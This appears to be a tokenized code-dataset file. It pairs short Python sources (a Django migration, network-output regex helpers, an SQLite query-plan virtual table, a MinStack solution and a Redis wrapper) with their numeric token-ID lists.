model_name='recipe',
name='content',
field=models.CharField(default='', max_length=10000),
),
]
| [
1,
529,
9507,
29958,
4361,
5547,
8787,
29914,
4361,
5547,
29914,
26983,
800,
29914,
29900,
29900,
29896,
29896,
29918,
6921,
29918,
29906,
29900,
29906,
29906,
29900,
29896,
29896,
29953,
29918,
29906,
29900,
29896,
29955,
29889,
2272,
13,
29937,
3251,
630,
491,
15337,
29871,
29941,
29889,
29900,
29889,
29896,
29946,
373,
29871,
29906,
29900,
29906,
29906,
29899,
29900,
29896,
29899,
29896,
29953,
29871,
29896,
29929,
29901,
29896,
29955,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
4361,
5547,
742,
525,
29900,
29900,
29896,
29900,
29918,
8143,
29918,
4906,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
2499,
357,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
4361,
412,
742,
13,
9651,
1024,
2433,
3051,
742,
13,
9651,
1746,
29922,
9794,
29889,
27890,
29898,
4381,
2433,
742,
4236,
29918,
2848,
29922,
29896,
29900,
29900,
29900,
29900,
511,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
apetools/commons/expressions.py | rsnakamura/oldape | 0 | 67347 |
# python standard library
import string
NAMED = r"(?P<{name}>{pattern})"
GROUP = r"({group})"
CLASS = "[{0}]"
OR = "|"
NOT = "^"
SPACE = r'\s'
NOT_SPACE = r'\S'
DIGIT = r"\d"
ANYTHING = '.'
WORD_ENDING = r'\b'
LINE_ENDING = r"$"
LINE_START = "^"
M_TO_N_TIMES = "{{{m},{n}}}"
ONE_TO_3 = M_TO_N_TIMES.format(m=1, n=3)
EXACTLY = "{{{0}}}"
ONE_OR_MORE = "+"
ZERO_OR_MORE = '*'
ZERO_OR_ONE = '?'
EVERYTHING = ANYTHING + ZERO_OR_MORE
LETTER = CLASS.format(string.ascii_letters)
LETTERS = LETTER + ONE_OR_MORE
ALPHA_NUM = string.ascii_letters + string.digits
ALPHA_NUMS = CLASS.format(ALPHA_NUM) + ONE_OR_MORE
ALPHA_NUM_UNDERSCORE = r'\w'
ALPHA_NUM_UNDERSCORES = ALPHA_NUM_UNDERSCORE + ONE_OR_MORE
SPACE_OPTIONAL = SPACE + ZERO_OR_ONE
SPACES_OPTIONAL = SPACE + ZERO_OR_MORE
SPACES = SPACE + ONE_OR_MORE
DOT = r"\."
HEX = CLASS.format(string.hexdigits)
HEXADECIMALS = HEX + ONE_OR_MORE
INTEGER = DIGIT + ONE_OR_MORE
FLOAT = INTEGER + DOT + INTEGER
REAL = INTEGER + GROUP.format(group=DOT + INTEGER) + ZERO_OR_ONE
OCTET = DIGIT + ONE_TO_3
OCTET_DOT = OCTET + DOT
IP_ADDRESS_NAME = "ip_address"
IP_ADDRESS = NAMED.format(name=IP_ADDRESS_NAME,
pattern=DOT.join([OCTET] * 4))
MAC_ADDRESS_NAME = "mac_address"
HEX_PAIR = HEX + EXACTLY.format(2)
MAC_ADDRESS = NAMED.format(name=MAC_ADDRESS_NAME,
pattern=":".join([HEX_PAIR] * 6))
LINUX_IP = SPACES.join('inet addr:'.split()) + IP_ADDRESS
LINUX_MAC = "HWaddr" + SPACES + MAC_ADDRESS
ANDROID_IP = 'ip' + SPACES + IP_ADDRESS
INTERFACE_STATE_NAME = "state"
INTERFACE_STATE = NAMED.format(name=INTERFACE_STATE_NAME,
pattern="UP" + OR + "DOWN")
NETCFG_IP = SPACES + INTERFACE_STATE + SPACES + IP_ADDRESS + EVERYTHING + MAC_ADDRESS
INTERFACE_NAME = "interface"
INTERFACE = NAMED.format(name=INTERFACE_NAME,
pattern=LETTERS + INTEGER)
NETCFG_INTERFACE = INTERFACE + NETCFG_IP
RTT = NAMED.format(name="rtt", pattern=REAL)
PING = SPACES.join([EVERYTHING + IP_ADDRESS + ":"
+ EVERYTHING +
"time" + SPACES_OPTIONAL + "(=|<)" + SPACES_OPTIONAL + RTT])
PSE_NAME = "pse"
PID_NAME = 'pid'
PID = NAMED.format(name=PID_NAME, pattern=INTEGER)
TTY = GROUP.format(group="\?" + OR + "pts/" + INTEGER)
TIME = ":".join([DIGIT + EXACTLY.format(2)] * 3)
PROCESS_NAME = "process"
PROCESS = NAMED.format(name=PROCESS_NAME,pattern=CLASS.format(NOT + SPACE) + ONE_OR_MORE)
PSE_LINUX = SPACES.join([PID, TTY, TIME, PROCESS])
USER = ALPHA_NUM_UNDERSCORES
PPID = INTEGER
VSIZE = INTEGER
RSS = INTEGER
WCHAN = ALPHA_NUMS
PC = HEXADECIMALS
S_OR_R = "(S" + OR + "R)"
PS_ANDROID = SPACES.join((USER, PID, PPID, VSIZE, RSS, WCHAN, PC, S_OR_R, PROCESS))
IW_INTERFACE = "Interface" + SPACES + INTERFACE
RSSI_NAME = 'rssi'
IW_RSSI = "signal:" + SPACES + NAMED.format(name=RSSI_NAME,
pattern="-" + INTEGER + SPACES + "dBm")
WPA_MAC = "address=" + MAC_ADDRESS
WPA_IP = "ip_address=" + IP_ADDRESS
WPA_INTERFACE = "Using" + SPACES + "interface" + SPACES + "'" + INTERFACE + "'"
SSID_NAME = "ssid"
SSID = NAMED.format(name=SSID_NAME,
pattern=EVERYTHING + WORD_ENDING)
WPA_SSID = LINE_START + "ssid=" + SSID
SUPPLICANT_STATE_NAME = "supplicant_state"
SUPPLICANT_STATE = NAMED.format(name=SUPPLICANT_STATE_NAME,
pattern=LETTERS)
WPA_SUPPLICANT_STATE = "wpa_state=" + SUPPLICANT_STATE
| [
1,
29871,
13,
29937,
3017,
3918,
3489,
13,
5215,
1347,
13,
13,
13,
5813,
29928,
353,
364,
29908,
10780,
29925,
29966,
29912,
978,
17428,
29912,
11037,
1800,
29908,
13,
26284,
353,
364,
29908,
3319,
2972,
1800,
29908,
13,
13875,
1799,
353,
14704,
29912,
29900,
6525,
29908,
13,
1955,
353,
376,
29989,
29908,
13,
12256,
353,
13898,
29908,
13,
13,
13,
5550,
11538,
353,
364,
12764,
29879,
29915,
13,
12256,
29918,
5550,
11538,
353,
364,
12764,
29903,
29915,
13,
4571,
29954,
1806,
353,
364,
26732,
29881,
29908,
13,
2190,
29979,
4690,
4214,
353,
525,
6169,
13,
17013,
29918,
11794,
4214,
353,
364,
12764,
29890,
29915,
13,
18521,
29918,
11794,
4214,
353,
364,
29908,
29938,
29908,
13,
18521,
29918,
25826,
353,
13898,
29908,
13,
13,
13,
29924,
29918,
4986,
29918,
29940,
29918,
15307,
29903,
353,
376,
6224,
29912,
29885,
29087,
29876,
930,
5038,
13,
12413,
29918,
4986,
29918,
29941,
353,
341,
29918,
4986,
29918,
29940,
29918,
15307,
29903,
29889,
4830,
29898,
29885,
29922,
29896,
29892,
302,
29922,
29941,
29897,
13,
5746,
17923,
16786,
353,
376,
6224,
29912,
29900,
930,
5038,
13,
12413,
29918,
1955,
29918,
6720,
1525,
353,
376,
13578,
13,
29999,
1001,
29949,
29918,
1955,
29918,
6720,
1525,
353,
525,
29930,
29915,
13,
29999,
1001,
29949,
29918,
1955,
29918,
12413,
353,
525,
17901,
13,
13,
29923,
5348,
29979,
4690,
4214,
353,
13764,
29979,
4690,
4214,
718,
796,
1001,
29949,
29918,
1955,
29918,
6720,
1525,
13,
13,
13,
1307,
29911,
4945,
353,
315,
4375,
1799,
29889,
4830,
29898,
1807,
29889,
294,
18869,
29918,
1026,
2153,
29897,
13,
1307,
29911,
4945,
29903,
353,
365,
2544,
4945,
718,
6732,
29923,
29918,
1955,
29918,
6720,
1525,
13,
1964,
29925,
15715,
29918,
13967,
353,
1347,
29889,
294,
18869,
29918,
1026,
2153,
718,
1347,
29889,
7501,
1169,
13,
1964,
29925,
15715,
29918,
11601,
4345,
353,
315,
4375,
1799,
29889,
4830,
29898,
1964,
29925,
15715,
29918,
13967,
29897,
718,
6732,
29923,
29918,
1955,
29918,
6720,
1525,
13,
1964,
29925,
15715,
29918,
13967,
29918,
18783,
23598,
3217,
1525,
353,
364,
12764,
29893,
29915,
13,
1964,
29925,
15715,
29918,
13967,
29918,
18783,
23598,
3217,
15989,
353,
319,
13208,
15715,
29918,
13967,
29918,
18783,
23598,
3217,
1525,
718,
6732,
29923,
29918,
1955,
29918,
6720,
1525,
13,
5550,
11538,
29918,
14094,
2725,
1964,
353,
10937,
11538,
718,
796,
1001,
29949,
29918,
1955,
29918,
12413,
13,
5550,
2477,
2890,
29918,
14094,
2725,
1964,
353,
10937,
11538,
718,
796,
1001,
29949,
29918,
1955,
29918,
6720,
1525,
13,
5550,
2477,
2890,
353,
10937,
11538,
718,
6732,
29923,
29918,
1955,
29918,
6720,
1525,
13,
29928,
2891,
353,
364,
26732,
1213,
13,
13,
13,
29950,
5746,
353,
315,
4375,
1799,
29889,
4830,
29898,
1807,
29889,
20970,
7501,
1169,
29897,
13,
29950,
5746,
29909,
2287,
29907,
2260,
8547,
353,
379,
5746,
718,
6732,
29923,
29918,
1955,
29918,
6720,
1525,
13,
1177,
4330,
17070,
353,
360,
6259,
1806,
718,
6732,
29923,
29918,
1955,
29918,
6720,
1525,
13,
29943,
3927,
1299,
353,
2672,
4330,
17070,
718,
360,
2891,
718,
2672,
4330,
17070,
13,
1525,
1964,
353,
2672,
4330,
17070,
718,
15345,
29889,
4830,
29898,
2972,
29922,
29928,
2891,
718,
2672,
4330,
17070,
29897,
718,
796,
1001,
29949,
29918,
1955,
29918,
12413,
13,
13,
13,
29949,
1783,
2544,
353,
360,
6259,
1806,
718,
6732,
29923,
29918,
4986,
29918,
29941,
13,
29949,
1783,
2544,
29918,
29928,
2891,
353,
438,
1783,
2544,
718,
360,
2891,
13,
13,
5690,
29918,
17744,
26785,
29918,
5813,
353,
376,
666,
29918,
7328,
29908,
13,
5690,
29918,
17744,
26785,
353,
27085,
29928,
29889,
4830,
29898,
978,
29922,
5690,
29918,
17744,
26785,
29918,
5813,
29892,
13,
462,
539,
4766,
29922,
29928,
2891,
29889,
7122,
4197,
29949,
1783,
2544,
29962,
334,
29871,
29946,
876,
13,
13,
1529,
29907,
29918,
17744,
26785,
29918,
5813,
353,
376,
8628,
29918,
7328,
29908,
13,
29950,
5746,
29918,
7228,
8193,
353,
379,
5746,
718,
8528,
17923,
16786,
29889,
4830,
29898,
29906,
29897,
13,
1529,
29907,
29918,
17744,
26785,
353,
27085,
29928,
29889,
4830,
29898,
978,
29922,
1529,
29907,
29918,
17744,
26785,
29918,
5813,
29892,
13,
462,
965,
4766,
543,
29901,
1642,
7122,
4197,
29950,
5746,
29918,
7228,
8193,
29962,
334,
29871,
29953,
876,
13,
13,
23714,
29965,
29990,
29918,
5690,
353,
10937,
2477,
2890,
29889,
7122,
877,
10157,
28915,
29901,
4286,
5451,
3101,
718,
5641,
29918,
17744,
26785,
13,
23714,
29965,
29990,
29918,
1529,
29907,
353,
376,
29950,
29956,
10030,
29908,
718,
10937,
2477,
2890,
718,
26750,
29918,
17744,
26785,
13,
9468,
1672,
1367,
29918,
5690,
353,
525,
666,
29915,
718,
10937,
2477,
2890,
718,
5641,
29918,
17744,
26785,
13,
13,
13,
23845,
29943,
11538,
29918,
19713,
29918,
5813,
353,
376,
3859,
29908,
13,
23845,
29943,
11538,
29918,
19713,
353,
29871,
27085,
29928,
29889,
4830,
29898,
978,
29922,
23845,
29943,
11538,
29918,
19713,
29918,
5813,
29892,
13,
462,
18884,
4766,
543,
4897,
29908,
718,
6323,
718,
376,
3970,
16048,
1159,
13,
13,
6006,
9207,
29954,
29918,
5690,
353,
10937,
2477,
2890,
718,
2672,
4945,
29943,
11538,
29918,
19713,
718,
10937,
2477,
2890,
718,
5641,
29918,
17744,
26785,
718,
382,
5348,
29979,
4690,
4214,
718,
26750,
29918,
17744,
26785,
13,
23845,
29943,
11538,
29918,
5813,
353,
376,
13248,
29908,
13,
23845,
29943,
11538,
353,
27085,
29928,
29889,
4830,
29898,
978,
29922,
23845,
29943,
11538,
29918,
5813,
29892,
13,
462,
18884,
4766,
29922,
1307,
29911,
4945,
29903,
718,
2672,
4330,
17070,
29897,
29871,
13,
6006,
9207,
29954,
29918,
23845,
29943,
11538,
353,
2672,
4945,
29943,
11538,
718,
405,
2544,
9207,
29954,
29918,
5690,
13,
13,
13,
13079,
29911,
353,
27085,
29928,
29889,
4830,
29898,
978,
543,
29878,
698,
613,
4766,
29922,
1525,
1964,
29897,
13,
13,
29925,
4214,
353,
10937,
2477,
2890,
29889,
7122,
4197,
29923,
5348,
29979,
4690,
4214,
718,
5641,
29918,
17744,
26785,
718,
376,
6160,
13,
462,
1678,
718,
382,
5348,
29979,
4690,
4214,
718,
29871,
13,
462,
1678,
376,
2230,
29908,
718,
10937,
2477,
2890,
29918,
14094,
2725,
1964,
718,
18227,
29922,
29989,
29966,
5513,
718,
10937,
2477,
2890,
29918,
14094,
2725,
1964,
718,
390,
19988,
2314,
13,
13,
13,
29925,
1660,
29918,
5813,
353,
376,
27358,
29908,
13,
29925,
1367,
29918,
5813,
353,
525,
5935,
29915,
13,
29925,
1367,
353,
27085,
29928,
29889,
4830,
29898,
978,
29922,
29925,
1367,
29918,
5813,
29892,
29871,
4766,
29922,
1177,
4330,
17070,
29897,
13,
29911,
15631,
353,
15345,
29889,
4830,
29898,
2972,
543,
29905,
3026,
718,
6323,
718,
376,
16485,
12975,
718,
2672,
4330,
17070,
29897,
13,
15307,
353,
29242,
1642,
7122,
4197,
4571,
29954,
1806,
718,
8528,
17923,
16786,
29889,
4830,
29898,
29906,
4638,
334,
29871,
29941,
29897,
13,
8618,
23524,
29918,
5813,
353,
376,
5014,
29908,
13,
8618,
23524,
353,
27085,
29928,
29889,
4830,
29898,
978,
29922,
8618,
23524,
29918,
5813,
29892,
11037,
29922,
13875,
1799,
29889,
4830,
29898,
12256,
718,
10937,
11538,
29897,
718,
6732,
29923,
29918,
1955,
29918,
6720,
1525,
29897,
13,
29925,
1660,
29918,
23714,
29965,
29990,
353,
10937,
2477,
2890,
29889,
7122,
4197,
29925,
1367,
29892,
323,
15631,
29892,
323,
8890,
29892,
13756,
23524,
2314,
13,
13,
13,
11889,
353,
319,
13208,
15715,
29918,
13967,
29918,
18783,
23598,
3217,
15989,
13,
18009,
1367,
353,
2672,
4330,
17070,
13,
29963,
14226,
353,
2672,
4330,
17070,
13,
29934,
1799,
353,
2672,
4330,
17070,
13,
29956,
3210,
2190,
353,
319,
13208,
15715,
29918,
11601,
4345,
13,
9026,
353,
379,
5746,
29909,
2287,
29907,
2260,
8547,
13,
29903,
29918,
1955,
29918,
29934,
353,
18227,
29903,
29908,
718,
6323,
718,
376,
29934,
5513,
13,
7024,
29918,
9468,
1672,
1367,
353,
10937,
2477,
2890,
29889,
7122,
3552,
11889,
29892,
349,
1367,
29892,
349,
29925,
1367,
29892,
478,
14226,
29892,
390,
1799,
29892,
399,
3210,
2190,
29892,
9609,
29892,
317,
29918,
1955,
29918,
29934,
29892,
13756,
23524,
876,
13,
13,
13,
29902,
29956,
29918,
23845,
29943,
11538,
353,
376,
10448,
29908,
718,
10937,
2477,
2890,
718,
2672,
4945,
29943,
11538,
13,
13,
29934,
1799,
29902,
29918,
5813,
353,
525,
29878,
893,
29875,
29915,
13,
29902,
29956,
29918,
29934,
1799,
29902,
353,
376,
25436,
6160,
718,
10937,
2477,
2890,
718,
27085,
29928,
29889,
4830,
29898,
978,
29922,
29934,
1799,
29902,
29918,
5813,
29892,
13,
462,
462,
9651,
4766,
543,
29899,
29908,
718,
2672,
4330,
17070,
718,
10937,
2477,
2890,
718,
376,
29881,
29933,
29885,
1159,
13,
13,
13,
29956,
7228,
29918,
1529,
29907,
353,
376,
7328,
543,
718,
26750,
29918,
17744,
26785,
13,
29956,
7228,
29918,
5690,
353,
376,
666,
29918,
7328,
543,
718,
5641,
29918,
17744,
26785,
13,
29956,
7228,
29918,
23845,
29943,
11538,
353,
376,
15156,
29908,
718,
10937,
2477,
2890,
718,
376,
13248,
29908,
718,
10937,
2477,
2890,
718,
376,
11838,
718,
2672,
4945,
29943,
11538,
718,
376,
11838,
13,
1799,
1367,
29918,
5813,
353,
376,
893,
333,
29908,
13,
1799,
1367,
353,
27085,
29928,
29889,
4830,
29898,
978,
29922,
1799,
1367,
29918,
5813,
29892,
13,
462,
1678,
4766,
29922,
29923,
5348,
29979,
4690,
4214,
718,
399,
25593,
29918,
11794,
4214,
29897,
13,
29956,
7228,
29918,
1799,
1367,
353,
365,
8895,
29918,
25826,
718,
376,
893,
333,
543,
718,
5886,
1367,
13,
29903,
4897,
7390,
2965,
13566,
29918,
19713,
29918,
5813,
353,
376,
19303,
506,
424,
29918,
3859,
29908,
13,
29903,
4897,
7390,
2965,
13566,
29918,
19713,
353,
27085,
29928,
29889,
4830,
29898,
978,
29922,
29903,
4897,
7390,
2965,
13566,
29918,
19713,
29918,
5813,
29892,
13,
462,
18884,
4766,
29922,
1307,
29911,
4945,
29903,
29897,
13,
29956,
7228,
29918,
29903,
4897,
7390,
2965,
13566,
29918,
19713,
353,
376,
29893,
3274,
29918,
3859,
543,
718,
317,
4897,
7390,
2965,
13566,
29918,
19713,
13,
2
] |
iis-3rdparty-madis/src/main/resources/eu/dnetlib/iis/3rdparty/scripts/madis/functions/vtable/queryplan.py | mpol/iis | 20 | 52686 | """
.. function:: queryplan(query) -> Query plan
Returns the query plan of the input query.
Examples::
>>> sql("queryplan select 5")
operation | paramone | paramtwo | databasename | triggerorview
------------------------------------------------------------------
SQLITE_SELECT | None | None | None | None
"""
import setpath
import vtbase
import functions
import apsw
registered=True
class QueryPlan(vtbase.VT):
def VTiter(self, *parsedArgs, **envars):
def authorizer(operation, paramone, paramtwo, databasename, triggerorview):
"""Called when each operation is prepared. We can return SQLITE_OK, SQLITE_DENY or
SQLITE_IGNORE"""
# find the operation name
plan.append([apsw.mapping_authorizer_function[operation], paramone, paramtwo, databasename, triggerorview])
return apsw.SQLITE_OK
def buststatementcache():
c = connection.cursor()
for i in xrange(110):
a=list(c.execute("select "+str(i)))
_, dictargs = self.full_parse(parsedArgs)
if 'query' not in dictargs:
raise functions.OperatorError(__name__.rsplit('.')[-1]," needs query argument ")
query=dictargs['query']
connection = envars['db']
plan=[]
buststatementcache()
cursor = connection.cursor()
cursor.setexectrace(lambda x,y,z:apsw.SQLITE_DENY)
connection.setauthorizer(authorizer)
cursor.execute(query)
connection.setauthorizer(None)
yield [('operation', 'text'), ('paramone', 'text'), ('paramtwo', 'text'), ('databasename', 'text'), ('triggerorview', 'text')]
for r in plan:
yield r
def destroy(self):
pass
def Source():
return vtbase.VTGenerator(QueryPlan)
if not ('.' in __name__):
"""
This is needed to be able to test the function, put it at the end of every
new function you create
"""
import sys
import setpath
from functions import *
testfunction()
if __name__ == "__main__":
reload(sys)
sys.setdefaultencoding('utf-8')
import doctest
doctest.testmod()
| [
1,
9995,
13,
636,
740,
1057,
2346,
9018,
29898,
1972,
29897,
1599,
13641,
3814,
13,
13,
11609,
29879,
278,
2346,
3814,
310,
278,
1881,
2346,
29889,
13,
13,
1252,
9422,
1057,
13,
13,
1678,
8653,
4576,
703,
1972,
9018,
1831,
29871,
29945,
1159,
13,
1678,
5858,
268,
891,
1828,
650,
891,
1828,
10184,
891,
16236,
294,
3871,
891,
7135,
272,
1493,
13,
1678,
448,
2683,
2683,
2683,
2683,
29899,
13,
1678,
3758,
9094,
29918,
6404,
891,
6213,
268,
891,
6213,
268,
891,
6213,
308,
891,
6213,
13,
13,
15945,
29908,
13,
13,
5215,
731,
2084,
13,
5215,
325,
29873,
3188,
13,
5215,
3168,
13,
5215,
263,
567,
29893,
13,
13,
9573,
287,
29922,
5574,
13,
13,
1990,
13641,
20334,
29898,
21908,
3188,
29889,
29963,
29911,
1125,
13,
1678,
822,
478,
29911,
1524,
29898,
1311,
29892,
334,
862,
8485,
7883,
29892,
3579,
6272,
1503,
1125,
13,
4706,
822,
4148,
3950,
29898,
16453,
29892,
1828,
650,
29892,
1828,
10184,
29892,
16236,
294,
3871,
29892,
7135,
272,
1493,
1125,
13,
9651,
9995,
29907,
4212,
746,
1269,
5858,
338,
13240,
29889,
29871,
1334,
508,
736,
3758,
9094,
29918,
8949,
29892,
3758,
9094,
29918,
29928,
1430,
29979,
470,
13,
9651,
3758,
9094,
29918,
6259,
6632,
1525,
15945,
29908,
13,
9651,
396,
1284,
278,
5858,
1024,
13,
9651,
3814,
29889,
4397,
4197,
2547,
29893,
29889,
20698,
29918,
8921,
3950,
29918,
2220,
29961,
16453,
1402,
1828,
650,
29892,
1828,
10184,
29892,
16236,
294,
3871,
29892,
7135,
272,
1493,
2314,
13,
9651,
736,
263,
567,
29893,
29889,
4176,
9094,
29918,
8949,
13,
13,
4706,
822,
289,
504,
20788,
8173,
7295,
13,
9651,
274,
353,
3957,
29889,
18127,
580,
13,
9651,
363,
474,
297,
921,
3881,
29898,
29896,
29896,
29900,
1125,
13,
18884,
263,
29922,
1761,
29898,
29883,
29889,
7978,
703,
2622,
15691,
710,
29898,
29875,
4961,
13,
13,
4706,
17117,
9657,
5085,
353,
1583,
29889,
8159,
29918,
5510,
29898,
862,
8485,
7883,
29897,
13,
308,
13,
4706,
565,
525,
1972,
29915,
451,
297,
9657,
5085,
29901,
13,
9651,
12020,
3168,
29889,
26486,
2392,
22168,
978,
26914,
2288,
2830,
12839,
1495,
14352,
29896,
1402,
29908,
4225,
2346,
2980,
16521,
13,
13,
4706,
2346,
29922,
8977,
5085,
1839,
1972,
2033,
13,
13,
4706,
3957,
353,
8829,
1503,
1839,
2585,
2033,
13,
4706,
3814,
29922,
2636,
13,
13,
4706,
289,
504,
20788,
8173,
580,
13,
13,
4706,
10677,
353,
3957,
29889,
18127,
580,
13,
13,
4706,
10677,
29889,
842,
735,
522,
25525,
29898,
2892,
921,
29892,
29891,
29892,
29920,
29901,
2547,
29893,
29889,
4176,
9094,
29918,
29928,
1430,
29979,
29897,
13,
13,
4706,
3957,
29889,
842,
8921,
3950,
29898,
8921,
3950,
29897,
13,
13,
4706,
10677,
29889,
7978,
29898,
1972,
29897,
13,
13,
4706,
3957,
29889,
842,
8921,
3950,
29898,
8516,
29897,
13,
13,
4706,
7709,
518,
877,
16453,
742,
525,
726,
5477,
6702,
3207,
650,
742,
525,
726,
5477,
6702,
3207,
10184,
742,
525,
726,
5477,
6702,
29503,
294,
3871,
742,
525,
726,
5477,
6702,
21001,
272,
1493,
742,
525,
726,
1495,
29962,
13,
13,
4706,
363,
364,
297,
3814,
29901,
13,
9651,
7709,
364,
13,
268,
13,
1678,
822,
8174,
29898,
1311,
1125,
13,
4706,
1209,
13,
13,
1753,
7562,
7295,
13,
1678,
736,
325,
29873,
3188,
29889,
29963,
29911,
21575,
29898,
3010,
20334,
29897,
13,
13,
361,
451,
313,
4286,
29915,
297,
4770,
978,
1649,
1125,
13,
1678,
9995,
13,
1678,
910,
338,
4312,
304,
367,
2221,
304,
1243,
278,
740,
29892,
1925,
372,
472,
278,
1095,
310,
1432,
13,
1678,
716,
740,
366,
1653,
13,
1678,
9995,
13,
1678,
1053,
10876,
13,
1678,
1053,
731,
2084,
13,
1678,
515,
3168,
1053,
334,
13,
1678,
1243,
2220,
580,
13,
1678,
565,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
4706,
19763,
29898,
9675,
29897,
13,
4706,
10876,
29889,
842,
4381,
22331,
877,
9420,
29899,
29947,
1495,
13,
4706,
1053,
437,
312,
342,
13,
4706,
437,
312,
342,
29889,
1688,
1545,
580,
13,
2
] |
problems/min-stack.py | sailikhithk/tech-interview-prep | 0 | 135881 | #https://leetcode.com/problems/min-stack/
class MinStack(object):
def __init__(self):
self.stack = []
def push(self, x):
self.stack.append((x, min(x, self.getMin())))
def pop(self):
if len(self.stack)==0: return None
return self.stack.pop()[0]
def top(self):
if len(self.stack)==0: return None
return self.stack[-1][0]
def getMin(self):
if len(self.stack)==0: return float('inf')
return self.stack[-1][1]
# Your MinStack object will be instantiated and called as such:
# obj = MinStack()
# obj.push(x)
# obj.pop()
# param_3 = obj.top()
# param_4 = obj.getMin() | [
1,
396,
991,
597,
280,
300,
401,
29889,
510,
29914,
17199,
29879,
29914,
1195,
29899,
1429,
29914,
13,
1990,
3080,
7264,
29898,
3318,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
1429,
353,
5159,
13,
308,
13,
13,
1678,
822,
5503,
29898,
1311,
29892,
921,
1125,
13,
4706,
1583,
29889,
1429,
29889,
4397,
3552,
29916,
29892,
1375,
29898,
29916,
29892,
1583,
29889,
657,
8140,
580,
4961,
13,
308,
13,
13,
1678,
822,
1835,
29898,
1311,
1125,
13,
4706,
565,
7431,
29898,
1311,
29889,
1429,
29897,
1360,
29900,
29901,
736,
6213,
13,
4706,
736,
1583,
29889,
1429,
29889,
7323,
580,
29961,
29900,
29962,
13,
308,
13,
13,
1678,
822,
2246,
29898,
1311,
1125,
13,
4706,
565,
7431,
29898,
1311,
29889,
1429,
29897,
1360,
29900,
29901,
736,
6213,
13,
4706,
736,
1583,
29889,
1429,
14352,
29896,
3816,
29900,
29962,
13,
308,
13,
13,
1678,
822,
679,
8140,
29898,
1311,
1125,
13,
4706,
565,
7431,
29898,
1311,
29889,
1429,
29897,
1360,
29900,
29901,
736,
5785,
877,
7192,
1495,
13,
4706,
736,
1583,
29889,
1429,
14352,
29896,
3816,
29896,
29962,
13,
308,
13,
13,
13,
29937,
3575,
3080,
7264,
1203,
674,
367,
13213,
630,
322,
2000,
408,
1316,
29901,
13,
29937,
5446,
353,
3080,
7264,
580,
13,
29937,
5446,
29889,
5910,
29898,
29916,
29897,
13,
29937,
5446,
29889,
7323,
580,
13,
29937,
1828,
29918,
29941,
353,
5446,
29889,
3332,
580,
13,
29937,
1828,
29918,
29946,
353,
5446,
29889,
657,
8140,
580,
2
] |
tcex/tcex_redis.py | jcampbell2017tc/tcex | 0 | 75735 | # -*- coding: utf-8 -*-
"""TcEx Framework Redis Module"""
from builtins import str
import redis
class TcExRedis(object):
"""Create/Read Data in/from Redis"""
def __init__(self, host, port, rhash):
"""Initialize the Class properties.
Args:
host (string): The Redis host.
port (string): The Redis port.
rhash (string): The rhash value.
"""
self._hash = rhash
self._r = redis.StrictRedis(host=host, port=port)
def create(self, key, value):
"""Create key/value pair in Redis.
Args:
key (string): The key to create in Redis.
value (any): The value to store in Redis.
Returns:
(string): The response from Redis.
"""
return self._r.hset(self._hash, key, value)
def delete(self, key):
"""Delete data from Redis for the provided key.
Args:
key (string): The key to delete in Redis.
Returns:
(string): The response from Redis.
"""
return self._r.hdel(self._hash, key)
def read(self, key):
"""Read data from Redis for the provided key.
Args:
key (string): The key to read in Redis.
Returns:
(any): The response data from Redis.
"""
data = self._r.hget(self._hash, key)
if data is not None and not isinstance(data, str):
data = str(self._r.hget(self._hash, key), 'utf-8')
return data
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
29911,
29883,
1252,
16657,
4367,
275,
15591,
15945,
29908,
13,
3166,
4240,
1144,
1053,
851,
13,
13,
5215,
29825,
13,
13,
13,
1990,
323,
29883,
1252,
9039,
275,
29898,
3318,
1125,
13,
1678,
9995,
4391,
29914,
6359,
3630,
297,
29914,
3166,
4367,
275,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3495,
29892,
2011,
29892,
364,
8568,
1125,
13,
4706,
9995,
6644,
6646,
278,
4134,
4426,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
3495,
313,
1807,
1125,
450,
4367,
275,
3495,
29889,
13,
9651,
2011,
313,
1807,
1125,
450,
4367,
275,
2011,
29889,
13,
9651,
364,
8568,
313,
1807,
1125,
450,
364,
8568,
995,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
8568,
353,
364,
8568,
13,
4706,
1583,
3032,
29878,
353,
29825,
29889,
5015,
919,
9039,
275,
29898,
3069,
29922,
3069,
29892,
2011,
29922,
637,
29897,
13,
13,
1678,
822,
1653,
29898,
1311,
29892,
1820,
29892,
995,
1125,
13,
4706,
9995,
4391,
1820,
29914,
1767,
5101,
297,
4367,
275,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
1820,
313,
1807,
1125,
450,
1820,
304,
1653,
297,
4367,
275,
29889,
13,
9651,
995,
313,
1384,
1125,
450,
995,
304,
3787,
297,
4367,
275,
29889,
13,
13,
4706,
16969,
29901,
13,
9651,
313,
1807,
1125,
450,
2933,
515,
4367,
275,
29889,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
29878,
29889,
29882,
842,
29898,
1311,
3032,
8568,
29892,
1820,
29892,
995,
29897,
13,
13,
1678,
822,
5217,
29898,
1311,
29892,
1820,
1125,
13,
4706,
9995,
12498,
848,
515,
4367,
275,
363,
278,
4944,
1820,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
1820,
313,
1807,
1125,
450,
1820,
304,
5217,
297,
4367,
275,
29889,
13,
13,
4706,
16969,
29901,
13,
9651,
313,
1807,
1125,
450,
2933,
515,
4367,
275,
29889,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
29878,
29889,
29882,
6144,
29898,
1311,
3032,
8568,
29892,
1820,
29897,
13,
13,
1678,
822,
1303,
29898,
1311,
29892,
1820,
1125,
13,
4706,
9995,
6359,
848,
515,
4367,
275,
363,
278,
4944,
1820,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
1820,
313,
1807,
1125,
450,
1820,
304,
1303,
297,
4367,
275,
29889,
13,
